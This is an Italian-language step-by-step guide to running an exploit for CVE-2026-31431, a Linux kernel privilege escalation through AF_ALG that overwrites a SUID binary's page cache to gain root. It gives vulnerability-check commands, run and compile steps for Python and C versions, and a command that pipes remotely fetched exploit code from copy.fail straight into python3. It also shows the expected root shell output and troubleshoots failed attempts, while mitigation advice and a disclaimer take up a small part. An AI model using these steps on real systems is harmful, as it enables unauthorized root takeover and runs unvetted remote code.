Copy Fail (CVE-2026-31431) – Guida all'Utilizzo dell'Exploit

⚠️ Disclaimer

Questo contenuto è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. NON eseguirlo su sistemi senza autorizzazione esplicita.

📌 Panoramica

Copy Fail (CVE-2026-31431) è una vulnerabilità di escalation dei privilegi locali (LPE) su Linux che interessa l'API crittografica del kernel tramite AF_ALG.

Consente a un utente non privilegiato di sovrascrivere i dati della page cache di un binario SUID (ad es. /usr/bin/su) e ottenere accesso root.

🧠 Requisiti

Requisiti di Sistema

• Kernel Linux (vulnerabile – dipende dallo stato delle patch)
• AF_ALG abilitato
• Modulo algif_aead caricato

Requisiti dell'Exploit Python

• Python 3.10+
• Supporto per:
  • os.splice
  • socket(AF_ALG)

🔍 Verifica della Vulnerabilità

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Indicatori attesi:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead caricato

🐍 Esecuzione dell'Exploit Python

1. Esecuzione diretta

python3 copy_fail_exp.py

2. Oppure tramite curl (se ospitato in remoto)

curl https://copy.fail/exp | python3

3. Attivazione della shell root

su
id

Risultato atteso:

uid=0(root)

⚠️ Problemi Comuni (Python)

❌ Errore: os.splice not found

Causa:

• Versione di Python < 3.10
• Build limitata

Soluzione:

• Utilizzare un binario Python più recente
• Caricare un interprete Python statico

⚙️ Compilazione della Versione C

1. Compilazione

gcc copy_fail_exp.c -o copy_fail

2. Rendi eseguibile

chmod +x copy_fail

3. Esegui l'exploit

./copy_fail
su

⚠️ Problemi Comuni (C)

❌ L'exploit viene eseguito ma non ottiene root

Possibili cause:

• Kernel patchato
• Offset errati
• Ambiente non corrispondente

❌ Errori di compilazione

Installa gli strumenti necessari:

apt update && apt install build-essential

🧪 Risoluzione dei Problemi

Verifica se il sistema è patchato

dmesg | grep -i alg

Verifica del modulo

lsmod | grep algif_aead

🛡️ Mitigazione

Disabilitare il modulo vulnerabile

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Applicare la patch del kernel

Aggiorna il tuo sistema:

apt update && apt upgrade

📌 Note

• L'exploit modifica solo la page cache (non persistente)
• Richiede accesso locale
• Non sfruttabile da remoto per impostazione predefinita

🧠 Considerazioni Finali

Se l'exploit fallisce, considera:

• Kernel già patchato
• Restrizioni ambientali
• Vettori alternativi di escalation dei privilegi (SUID, capabilities, misconfigurazioni sudo)

📚 Riferimenti

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Note dell'Autore

Utilizza questo exploit in modo responsabile solo in laboratori, CTF e test di penetrazione autorizzati.